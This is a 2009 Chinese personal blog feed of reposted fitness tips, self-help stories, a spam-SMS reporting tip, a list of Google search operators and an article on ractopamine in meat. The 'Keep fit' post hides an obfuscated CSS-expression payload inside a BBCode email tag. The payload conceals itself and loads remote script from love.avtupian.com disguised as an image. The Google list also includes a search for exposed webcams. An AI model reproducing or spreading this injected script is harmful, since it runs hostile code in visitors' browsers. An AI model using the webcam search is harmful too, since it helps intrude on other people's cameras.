碧蓝

定制我的动感瑜伽训练课程!

50863690@qq.com(碧蓝) — Sun, 15 Nov 2009 08:54:53 GMT

你知道Yogirl么？
给我们带来动感瑜伽的Yogirl来啦！快来和我一起定制属于我们自己的动感瑜伽课程吧！
也许你已经是多年的瑜伽高手，可以轻松打莲花座、做舞蹈式，但你也会问：什么是动感瑜伽呢？让Yogirl慢慢告诉你！
想立刻认识Yogirl？点击这里，和Yogirl面对面交流！

[转]女孩子为了身材一定要看！

50863690@qq.com(碧蓝) — Fri, 15 May 2009 04:49:02 GMT

1、背部伸展有美化全身的背部线

2、同时增加手部柔软度

3、收紧腹部肌肉

4、减去小肚腩

5、左右两边伸展运动

6、手脚并用可以让身体左右均衡一下

7、强化腹肌及腰背的肌腱

8、雕塑双腿和腹部线条

9、美化腰部，消除赘肉

10、消除臀下垂的赘肉，紧实腿部的肌肉

垃圾短信举报号码：10086999

50863690@qq.com(碧蓝) — Thu, 14 May 2009 09:01:52 GMT

垃圾短信举报：您可以在收到垃圾信息前输入被举报号码，并以“*”与信息内容分割，转发至10086999进行举报，或拨打10086人工服务举报

经证实确实有效
首先，在转发到10086999之后，收到10086999的如下回复短信：
“尊敬的客户：您举报的不良信息已收到，我公司将配合相关部门进行查证和处理！中国移动”

大约4小时后，又收到反馈：
“尊敬的客户，您05年14日举报（此处省略完整号码）曾向您发送了不良信息，我们已配合相关部门核实并做了妥善处理，感谢您对营造绿色通信环境做出的努力！中国移动”

这个不错，以后凡是收到异地消费啊，枪支汽车倒卖，获取他人隐私之类的骗子垃圾短信都可以这么办。不让骗子继续用同样的号码为非作歹。

gt语录之五：欲望大于行动就会不幸福

50863690@qq.com(碧蓝) — Wed, 29 Apr 2009 03:49:45 GMT

欲望大于行动就会不幸福

网上有一个幸福公式为幸福=满足÷欲望
满足，fulfillment, 就是行动结果，前提是行动
所以gt有云欲望大于行动就会不幸福

或许也可以这么说，行动太少就会不开心，理想没有付诸实施就会郁闷就会不幸福。

关键是（想好了决定了就）去做，而且执行到位

看到一则关于嫁个有钱人的回帖，很有意思

50863690@qq.com(碧蓝) — Fri, 24 Apr 2009 12:00:09 GMT

腾讯网友：

———————————————摘录—————————————————
一个年轻漂亮的美国女孩在美国一家大型网上论坛金融版上发表了这样一个问题帖：我怎样才能嫁给有钱人？
我下面要说的都是心里话。本人25岁，非常漂亮，是那种让人惊艳的漂亮，谈吐文雅，有品位，想嫁给年薪 50万美元的人。你也许会说我贪心，但在纽约年薪100万才算是中产，本人的要求其实不高。
这个版上有没有年薪超过 50万的人？你们都结婚了吗？我想请教各位一个问题——怎样才能嫁给你们这样的有钱人？我约会过的人中，最有钱的年薪 25万，这似乎是我的上限。要住进纽约中心公园以西的高尚住宅区，年薪25万远远不够。我是来诚心诚意请教的。有几个具体的问题：
一、有钱的单身汉一般都在哪里消磨时光？　(请列出酒吧、饭店、健身房的名字和详细地址。)
二、我应该把目标定在哪个年龄段？
三、为什么有些富豪的妻子看起来相貌平平？我见过有些女孩，长相如同白开水，毫无吸引人的地方，但她们却能嫁入豪门。而单身酒吧里那些迷死人的美女却运气不佳。
四、你们怎么决定谁能做妻子，谁只能做女朋友？　(我现在的目标是结婚。)
——波尔斯女士

下面是一个华尔街金融家的回帖：“亲爱的波尔斯：我怀着极大的兴趣看完了贵帖，相信不少女士也有跟你类似的疑问。让我以一个投资专家的身份，对你的处境做一分析。我年薪超过50万，符合你的择偶标准，所以请相信我并不是在浪费大家的时间。
从生意人的角度来看，跟你结婚是个糟糕的经营决策，道理再明白不过，请听我解释。抛开细枝末节，你所说的其实是一笔简单的“财”“貌”交易：甲方提供述人的外表，乙万出钱，公平交易，童叟无欺。但是，这里有个致命的问题，你的美貌会消逝，但我的钱却不会无缘无故减少。事实上，我的收入很可能会逐年涕增．而你不可能一年比一年漂亮。
因此，从经济学的角度讲，我是增值资产，你是贬值资产，不但贬值，而且是加速贬值!你现在25，在未来的五年里，你仍可以保持窈窕的身段，俏丽的容貌，虽然每年略有退步。但美貌消逝的速度会越来越快，如果它是你仅有的资产，十年以后你的价值甚忧。
用华尔街术语说，每笔交易都有一个仓位，跟你交往属于‘交易仓位’，一旦价值下跌就要立即抛售，而不宜长期持有——也就是你想要的婚姻。听起来很残忍，但对一件会加速贬值的物资，明智的选择是租赁，而不是购入。年薪能超过50万的人，当然都不是傻瓜，因此我们只会跟你交往，但不会跟你结婚。所以我劝你不要苦苦寻找嫁给有钱人的秘方。顺便说一句，你倒可以想办法把自己变成年薪50万的人，这比碰到一个有钱的傻瓜的胜算要大。
希望我的回帖能对你有帮助。如果你对‘租赁’感兴趣，请跟我联系。”
——罗波．坎贝尔（J·P·摩根银行多种产业投资顾问）

看到2篇报道

50863690@qq.com(碧蓝) — Tue, 14 Apr 2009 11:10:44 GMT

第一篇报道《靠写iPhone程序发财的三个故事》
苹果的软件商店已经有数万个程序,很多人也因此翻身发家,news.cnet.com就报道了三个这样的故事.http://bbs.esmchina.com/FORUM_POST_1000010004_1200458696_0.HTM?click_from=1000027000,8838887672,20090414,ESMCOL,ARTICLE_ALERT
第二篇《郭台铭：满手烂牌，也不一定会输》
http://bbs.esmchina.com/FORUM_POST_1000164043_1200458717_0.HTM?click_from=1000027000,8838887672,20090414,ESMCOL,ARTICLE_ALERT
读后感改天写

[转]改变一生的一句话：最重要的就是不要去看远方模糊的，而要做手边清楚的事

50863690@qq.com(碧蓝) — Sat, 11 Apr 2009 02:08:26 GMT

最重要的就是不要去看远方模糊的，而要做手边清楚的事。
1871年春天，一位年轻人拿着一本书，看到对他前途有莫大影响的一句话。他是蒙特瑞综合医院的医科学生，生活中充满了忧虑，担心是否能通过期末考试，担心该做些什么事情，该到哪儿去，怎样才能开业，怎样才能过活。
这位年轻的医科学生，在1871年所看到的那句话，使他成为他当时最有名的医学家，他创建了全世界知名的约翰霍普金斯医学院，成为牛津大学医学院的钦定讲座教授———这是在英国学医的人中所能得到的最高荣誉———他还被英国皇帝册封为爵士。他的一生，需要两大卷书———厚达1466页的篇幅，才能记述。
他名叫做威廉·奥斯勒。下面，就是他在1871年春天所看到的那句话———这由托马斯·卡莱尔所写的一句话，帮他过了无忧无虑的一生：“最重要的就是不要去看远方模糊的，而要做手边清楚的事。”
42年以后，在一个温和的郁金香开满校园的春夜，威廉·奥斯勒爵士在耶鲁大学发表演讲。他对那些耶鲁大学的学生们说，像他这样一个曾经在四所大学当过教授，写过一本很受欢迎的书的人，似乎应该有“特殊的头脑”，但其实不然。他说，他的一些好朋友都知道，他的脑筋其实是“非常普通不过了”。
那么他成功的原因是什么呢？他认为这完全是由于他活在所谓“一个完全独立的今天”里。他这句话是什么意思？在奥斯勒爵士到耶鲁去演讲的几个月以前，他乘船横渡大西洋，在舵房里看见船长揿下一个按钮，一阵机械运转的声音以后，船的几个部分就立刻被彼此隔绝开来———隔成几个完全防水的隔舱。“你们每一个人，”奥斯勒爵士对耶鲁的学生说，“组织都要比那条船精美得多，所要走的人生历程也更远得多，我要奉劝各位：要学会怎样控制一切，要活在一个‘完全独立的今天’中，才是在人生历程中确保安全的最好方法。到舵房去，你会发现那些大的隔舱至少都可以使用；揿下按钮，倾听你生活的每一个层面，用铁门把过去隔断———隔断已经死去的昨天；揿下另一个按钮，用铁门把未来也隔断———隔断尚未诞生的明天。然后你就保险了———你有的是今天……斩断过去，埋葬掉死的过去；切断那些会把傻子引向死亡的昨天……明日和昨日的重担，就会成为今日最大的障碍，也要把未来像过去一样紧紧地关在门外……未来就在于今天……没有明天这个东西，人类得到救赎的日子就是现在，精力的浪费、精神的苦闷，都会和一个为未来担忧的人形影相随……那么把船后的大隔舱都切断吧，养成一个好习惯，生活在‘完全独立的今天’里。”
这是不是说我们不该为明天而下工夫准备呢？不，绝对不是这样。在那次演讲里，他继续说到，为明日准备的最好方法，就是要发挥你的所有智慧，所有的热诚，把今天的工作做得尽善尽美，这就是你所能应付未来的惟一方法。
奥斯勒爵士还告诫耶鲁大学的学生以基督徒的祷告开始每日的生活：“请主赐予我们今天，以作为今日的面包吧！”请记住，祷告者只是在祈求今天的面包。他们并未抱怨昨天吃过的过期的面包，他们并未说：“主啊！近期玉米产区严重干旱，明年也许还会面临旱灾，我们明年秋天该吃些什么呀？如果我失去工作，仁慈的主啊！我那时从何找到面包？”
奥斯勒教我们只为今天的面包而祷告，也只有今天的面包才是你能吃到的。
但也许你会说，昨天已经过去，人们不可能不去回忆；明天即将来临，人们怎能不去憧憬？
一定要为明天着想。不错，要小心地考虑、计划和准备，可是不要担忧。

[转]Google技巧的终极收集

50863690@qq.com(碧蓝) — Thu, 09 Apr 2009 12:39:45 GMT

101个Google技巧 - Google技巧的终极收集
1. info:site_name 这个修饰语可以返回关于某特定页面的信息.
2. 同样的,在普通搜索后点击"相似网页"可以链接到Google认为相似的页面结果.
3. 如果只想搜索某一个网址里的内容,可能用site: 来实现,比如说search tips site:www.techradar.com.
4. 上述技巧通过像www.dmoz.org这样的目录网站并动态地生成网址.
5. 也可直接进入Google Directory这样的人工挑选出来的数量有限的数据库网站,网址是www.direcory.google.com.
6. intitle和inurl这样的布尔运算符像OR一样在Google Directory中同样适用.
7. 当你用Google图片搜索时,用site:的修饰语可以只搜索某一个网站内的图片,比如 dvd recorder site:www.amazon.co.uk.
8. 同样的,用"site:.com"只会返回带有.com域名后缀网站里的结果.
9. Google新闻(news.google.com)有他自己的布尔运算符.例如“intext” 只会从一条新闻的主体内容里查询结果.
10. 在Google新闻里如果你用“source:”这个运算符,你可以得到特定的新闻存档.比如:heather mills source:daily_mail
11. 通过"location:"过滤器你可以等到特定国家的新闻,比如 location:uk
12. 同样的Google博客搜索(blogsearch.google.com)也有它自己的句法.你可以搜索某篇日志的标题,比如 "inblogtitle:"
13. Google的普通搜索也可以确实也可以得到精确的结果,不如用"movie:" 来寻找电影评论.
14. “film:”修饰语效果也一样.
15. 在搜索框里输入上映时间,Google会提示你提交你的邮编,然后Google就会告诉你什么时候什么地方将会有好戏上演.
16. 如果想要一个专门的电影搜索页面,可以去www.google.co.uk/movies
17. 如果你圈选了“记住地点”后,下次你查询电影放映时间只需要输入电影名字就够了.
18. Google确实在电影方面的搜索上下了些功夫.比如在搜索框中输入“director:<电影名>”你将得到什么结果?你肯定猜到了吧.
19. 如果想得到演员名单,如需输入“cast:name_of_film”
20. 在乐队名、歌曲名或者专辑名前加上“music:”可以得到相关的音乐信息和评论.
21. 如果你在搜索框里输入“weather London”便可以得到伦敦最近四天完整的天气预报.
22. Google也内置了词典,在搜索框里用"define:the_word"试试.
23. Goolge保存了网站过去的内容.你可以直接搜索某个页面在Google服务器里的缓存,相关句法是“keyword cache:site_url”
24. 相应的,直接在搜索框里输入“cache:site_url”可以直接进入缓存页面.
25. 如果你手边没有计算器,只要记住Google同样内置了这么一个功能.输入“12*15”然后点击搜索试试.
26. Google的内置计算器不但可以转换尺寸还可以理解自然语言.搜索一下“14 stones in kilos”
27. 汇率转换也同样适用,试试“200 pounds in euros”
28. 如果你知道某货币的代码,将得到更加可靠的结果,例如"200 GBR in EUR"
29. 温度呢?Google也没有放过,输入“98 f to c”便可以把华氏转换为摄氏.
30. 想知道Google到底有多聪明呢?输入“2476 in roman numerals”然后点击“搜索”就知道了.
31. 你也可以保存你的Google使用习惯偏好,只需要在www.google.com/account上注册一个帐号便可.
32. 一旦有了Google帐号,不旦可以免费获得一个Gmail帐号,最主要的是可以畅通无阻地遨游于Google的世界.
33. 登陆你的Google帐户,通过“iGoogle”你还可以个性化你的Google主页.
34. 在“iGoogle”上点击"Add a Tab"来添加多个内容模块,Google会根据你添加的甩有模块来自适应整个页面.
35. "iGoogle"允许你为主页更换模板,点击"Select Theme"便可改变现有的默认主题.
36. 有一些"iGoogle"主题会随着时间的改变而改变,比如"Sweet Dreams"就是一个随着白天到夜晚的更迭而改变的一款主题.
37. 点击"Try something new" 下面的"More" 就可以看到一个更加完整的Google网站列表和一些新的功能.
38. "Custom Search"帮助你为你自己的网站建立一个Google牌的搜索引擎.
39. 另外,那张列表还忘掉了一个很有用的服务“Personalised Search",不过你可以通过访问www.google.com/psearch来使用它.(一个保存你搜索记录的服务——译者注)
40. 这个页面列出了你最近的搜索,并按特定分类来区分他们,点击"pause" 就可以阻止Google记录你的搜索历史.
41. 点击"Trends"可以看到你最访问的网站,你最搜索最多的条目以及最常点击的链接.
42. 个性化搜索同样包括了一个书签服务,它帮助你在线保存书签并可以在任何地方获取他们.
43. 更方便的是,你可以在"iGoogle"上添加一个书签模块来添加或访问它们.
44. 你知道你还可以搜索Google返回的结果么?滑到搜索结果页面底部便可以找到那链接.
45. 在你的查询后面附加你的邮编便可以搜索本地信息.
46. 找地图?只需要在搜索关键词后面多写一个"map",比如“Leeds map”
47. Google搜索图片(这里指直接在Google首页而不是Google Map页面,译者注)非常简单,只要你在关键词后而多写个“image”,你就会在搜索结果的顶部看到相关的图片结果.
48. 神奇的是Google图片搜索可以识别人脸,在浏览器地址栏搜索结果页面网址后面添加“&imgtype=face” 确定后Google会过滤掉所有不是人的图片.
49. 想关注股市行情?只需要在"stock:"后面填上公司的股票代码便可以得到从Google财经返回的结果.
50. 在Google的搜索框中输入航空公司或者航班号可以获得相关的航班信息.
51. 现在几点了?在地点前面加上“time”可以得到任务地方的时间.
52. 你也许已经注意到了在输入关键词时Google会交替提示你的拼写,那内置的拼写检查在起作用.
53. 你可以在关键词前加上"spell:"来直接调用Google的拼写检查功能.
54. 点击"I'm Feeling Lucky" (手气不错)可以直接访问关键词搜索第一个结果的网页.
55. 输入基于统计的查询关键词,比如population of Britain,在结果顶部Google会告诉你它的答案.
56. 如果你看到的搜索有非英文结果,点击"Translate this Page" 可以看到由Google帮你翻译的英文内容.
57. 你也可以搜索国外网站的内容,点击语言工具,然后选择你想要Google帮你翻译查询的国家.
58. 语言工具的另一个特色是可以帮你翻译一些可自由剪贴的文本字块.
59. 这里也有一个区域,你可以直接输入网址,并让Google翻译成你想要的语言.
60. 在“语言工具”链接上面你可以看到一个“使用偏好”的链接,这是一个包含了一些私密设置的页面.
61. 你可以明确地告诉Google你希望返回结果的语言,可根据你的喜好进行多选.
62. Google的安全搜索可以保护你免受色情内容的侵犯.你可以选择性的让过滤系统更加严格或者把它完全地关闭.
63. 在使用偏好里,你可以改变Google搜索单页显示结果的结果数,默认为10.
64. 你也可以设置为在新窗口打开Google的搜索结果.
65. 想知道他人在搜索的内容或者提高你自己网站的Pagerank值(Google自行开发的网页质量等级排名评估算法,Pagerank值越高的网页在搜索结果里越靠前,译者注)?去www.google.com/zeitgeist看看.
66. 另一个强大的实验性功能可以在www.google.com/trends找到,你可以知道哪些是热门搜索条目.
67. 在Google趋势搜索框里输入以逗号间隔的多个关键词,可以对比他们的搜索表现.
68. 想用克林贡语搜索?去www.google.com/intl/xx-klingon就可以了.
69. 也许你提线木偶里的瑞典厨师是你的榜样?点击www.google.com/intl/xx-bork看看.
70. 在搜索框里输入“answer to life, the universe and everything”,你肯定会被结果吓一跳.
71. Google还可以告诉你独角兽有多少只角,(够搞笑吧).输入“number of horns on a unicorn”看看.
1. 更加全面地用Google搜索的最好方式是点击高级搜索.
2. 它可以让你搜索更加精准的词组,“所有词组”或者是适当的搜索框里输入词组的某一个特定关键词.
3. 在高级搜索里你依然可以自定义在一张页面上展示多少个搜索结果,你所寻找的信息语言和文件格式.
4. “搜索以下网站或网域”可以让你通过输入一个顶级域名(如.co.uk)来限定搜索结果.
5. 你也可以点击“日期、使用权限、数字范围和更多”的链接以获取更高级的功能.(Google中文直接分条在页面展示.)
6. 保存设置,这些高级功能大多也可以在Google首页的搜索框中通过命令行参数来实现
7. Google的主要搜索可以无形地用布尔结构“AND”来结合.你当输入smoke fire - 它表示寻找smoke AND fire.
8. 要让Google搜索Smoke 或者fire,只需要输入smoke OR fire.
9. 你也可以用 | 来代替OR.如:smoke | fire.
10. 像AND 和 OR 这样的布尔结构对大小写非常敏感.他们必须是全部大写.
11. 搜索专有名词,然后输入用括号括住的一个或者几个关键词.比如water (smoke OR fire)
12. 寻找短语,可以把它们放在引号里.比如:"there's no smoke without fire".
13. 同义搜索来寻找那些类似的信息,只须在你的关键词臆加一根波浪线,比如:~eggplant.
14. 用减号来排除关键词,如:new pram -ebay 可以让搜索结果排除来自Ebay的婴儿车信息.
15. 像 I, and, then ,if 这类普通词语是要被Google 忽略的.他们被称作停滞词语.
16. 而加号却可以让这些停滞词语给包含进来,比如:fish +and chips.
17. 如果一个停滞词语被包含在那些作为短语的引用标记中间的句子中时,这些词语是被Google允许的.
18. 你也可以要求Google进行简省搜索,试一下:Christopher Columbus discovered *
19. 用数字范围功能来搜索数字范围.例如:搜索价位在300英到500英磅之间的索尼电视可以用以下字串:Sony TV ￡300..￡500.
20. 通过高级搜索Google认可13种主要文件格式,其中包括Office, Lotus, PostScript, Shockwave Flash 和text.
21. 搜索这些文件只需直接使用修饰符 filetype:[文件扩展名].例如:soccer filetype:pdf.
22. 要排除整个文件格式,只需使用以前我们排除关键词时使用的相同布尔句法:橄榄球 -filetype:doc
23. 事实上,只要你的语法正确,你可以混合使用任何布尔搜索运算符.举个例子便是:"sausage and mash" -onions filetype:doc
24. Google也有很多功能强大却隐藏着的搜索参数,例如“intitle” 仅仅只会搜索网页标题(titles).你可以用这个例子试一试:intitle:网页设计
25. 如果你只是寻找文件而不是网页,只需用index of 代替intitle:参数.它可以帮助你寻找网络和FTP目录.
26. inurl这个修饰语只会搜索网页的网址,不妨用这个例子试一试 inurl:spices
27. 通过 inurl:vien/view.shtml 你可以找到在线的网络摄像头.
28. inanchor这个修饰语非常特别,它仅仅只会寻找那些作为超链接的文本.
29. 想知道有多少链接指向一个网站.可以试试这个语法:link:网址 - 比如link:www.mozilla.org
30. 同样的,你也可以通过 related:修饰语来找到Google认为相似的内容.比如: related:www.microsoft.com

Keep fit（动画图解）

50863690@qq.com(碧蓝) — Wed, 25 Mar 2009 15:04:11 GMT

转帖自 http://user.qzone.qq.com/12111626 实在是太可爱了呵呵

按下面图的动作做每个动作重复20次给你漂亮身材。
1星期减了2公斤（有待验证）不用控制食欲。但一定要坚持每天每个动作做20次


1,站立抬腿，左右扭脚
2并腿下蹲
3坐下，屈膝收腿左右伸
4坐下，手放后背
5仰卧起坐，不倒地
6躺下左右晃腿
7坐椅子上，提腿
8拱腰，左右手轮流捞
9躺下侧起身
10躺下提腿提臀[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]

为什么美国人不怕瘦肉精

50863690@qq.com(碧蓝) — Tue, 24 Mar 2009 11:43:33 GMT

看了如下的报道，心情稍微好了些。可惜国内确实有使用克伦特罗（clenbuterol）的。听说牛肉也有注水的，而且注入的还不是自来水（http://health.xhby.net/system/2009/03/17/010462341.shtml）。嗯，最近还是多吃素吧。

2009年03月24日10:11 　转载自《成都客》　云无心　
http://view.news.qq.com/a/20090324/000018.htm
为什么美国人不怕瘦肉精
07年猪肉价格疯长的时候，要进口美国猪肉的消息颇吸引了许多目光。后来又说从美国猪肉中检测出了瘦肉精成分，于是“阴谋论”者们孜孜不倦地阐发了许多中美经济斗争的“内幕”。无论如何，最后美国猪肉没在中国掀起什么风浪。相对于韩国牛肉进口和台湾猪肉进口，可以说是斜风细雨，很快就风平浪静。

其实在美国猪肉中检测出瘦肉精成分，实在不值得惊奇，大概也谈不上中国报复什么。瘦肉精在中国是千夫所指，主管部门也响应民意立法禁止，于是人民大众在法律条文上受到了良好的保护。尽管如此，还是时不时有非法使用瘦肉精，甚至导致消费者中毒的报道。但是在美国，瘦肉精却可以堂而皇之地使用，除了一小部分习惯性反对者外，广大的人民群众置若罔闻。难道美国人的身体构造跟我们不一样，他们就不怕瘦肉精吗？

实际上并没有一种具体的物质叫做“瘦肉精”，就像没有一种具体的东西叫作“糖替代品”一样。任何能够替代糖产生甜味的东西就被称为“糖替代品”，不同的糖替代品之间存在着巨大差异。任何能够抑制动物脂肪生成，促进瘦肉生长的东西都可以称为“瘦肉精”。目前已经知道的“瘦肉精”有很多种，多数的确对人体有害，所以在世界上几乎所有国家都被禁止使用。比如说造成过上海几百人中毒的克伦特罗（clenbuterol），就是典型的一种。

一般认为美国的FDA对于食品药品有着极其严格的管理。尽管很多中国人对FDA嗤之以鼻——认识不到我们国粹的“魅力”却还允许转基因之类的东西“荼毒生灵”，并且不加标注“侵犯”民众“知情权”——但是在美国甚至美国之外的许多国家，它还是有着极高的权威性。即使是那些习惯性反对的NGO们，也只是致力于改变FDA的某项决定，而不得不尊重它的权威。就这么一个多数人——或许这里不该包括中国人——认为靠谱的机构，为什么允许“瘦肉精”的使用呢？

FDA对于食品成分的一般管理思路是：如果一种成份没有已知的好处，那么对它的判决不需要“罪证确凿”，“莫须有”就足够了——当然很多被定罪的多少还是有些罪证的，比如反式不饱和脂肪酸；如果有明确的好处，就找出它的安全用量，比如说各种维生素、矿物质等等；如果找不出安全用量，也就只好“挥泪斩马谡”，一禁了之了，上面所说的克伦特罗就是这种情况。

瘦肉精的好处是显而易见的，大大减少脂肪，大大增加瘦肉，而且明显缩短猪的生长期，（简直是儿时的梦想啊）。所以，挥泪斩掉了一个又一个，科学家们还是孜孜不倦的寻找下一个。Ractopamine（有人翻译成“来克多巴胺”，有人翻译成“雷托巴胺”）的出现让人们看到了曙光。用一句“研究表明”来总结人们对于Ractopamine的研究有点不负责任，不过光是FDA或者WHO的报告就让人头昏眼花。那些研究实在很枯燥，这里就简单说说都干了什么吧。研究毒性自然是从折腾老鼠开始，然后狗、猪、猴子等等。首先是检测它在动物体内的吸收排泄，让动物们吃进不同的量，然后检测排泄物中出来的量，发现这种东西不在体内积累，排出的时间很短。换句话说，如果有毒性，也不会积累。其次，跟踪在体内的代谢情况，利用同位素追踪，这个东西到了体内之后变成了什么、到了哪里，也被查了个底儿掉。然后是各种致病情况的研究。喂给动物们不同的量，检测短期长期的健康状况，最后找出一个安全用量。当然，这些研究是基于动物的，在人体中是否如此还很难说。有六位勇敢的志愿者做了实验材料，证实Ractopamine在人体中的代谢情况跟动物一致。基于此科学家们认为用动物实验的结果来推测其在人体中的表现还是合理的。这六位志愿者还接受了不同的用量，来考察对身体状况的影响。在每公斤体重的用量不超过67微克的情况下，没有观察到对人体有不良影响。把这个量除以一个50左右的“安全系数”，FDA认为每天可接受的摄入量是每公斤体重1.25微克。据此，他们规定牛肉和猪肉中允许的Ractopamine残留量分别是30和50 ppb（ppb是十亿分之一）。在这个残留量下，一个50公斤的人每天吃上两斤半猪肉或者四斤牛肉都还是很安全的。加拿大和WHO的标准稍高一些，猪肉中的允许残留是40ppb，而联合国粮农组织则是10ppb。日本和新西兰比较有趣，本国的生产不许使用，但是进口猪肉允许10ppb的残留。总的来说，还是只有少数国家允许使用，包括中国在内的绝大多数国家是禁用的。

Ractopamine或者别的动物生长添加剂，禁用与否应该是一个技术问题。对于毒性研究的设计是否合理，推理是否严密，安全系数是否足够大，以及决策是否有足够的科学支持，人们完全可以提出质疑。但是，如果连物质名称都不清楚，仅仅是因为祖先没有用过就拒绝接受，或者认为改变了动物“天然”的生长方式就反对，跟一百多年前的人们对于汽车的恐慌并无区别。如果主管部门只是为了迎合民意而禁止，那么实在是一个社会的悲哀。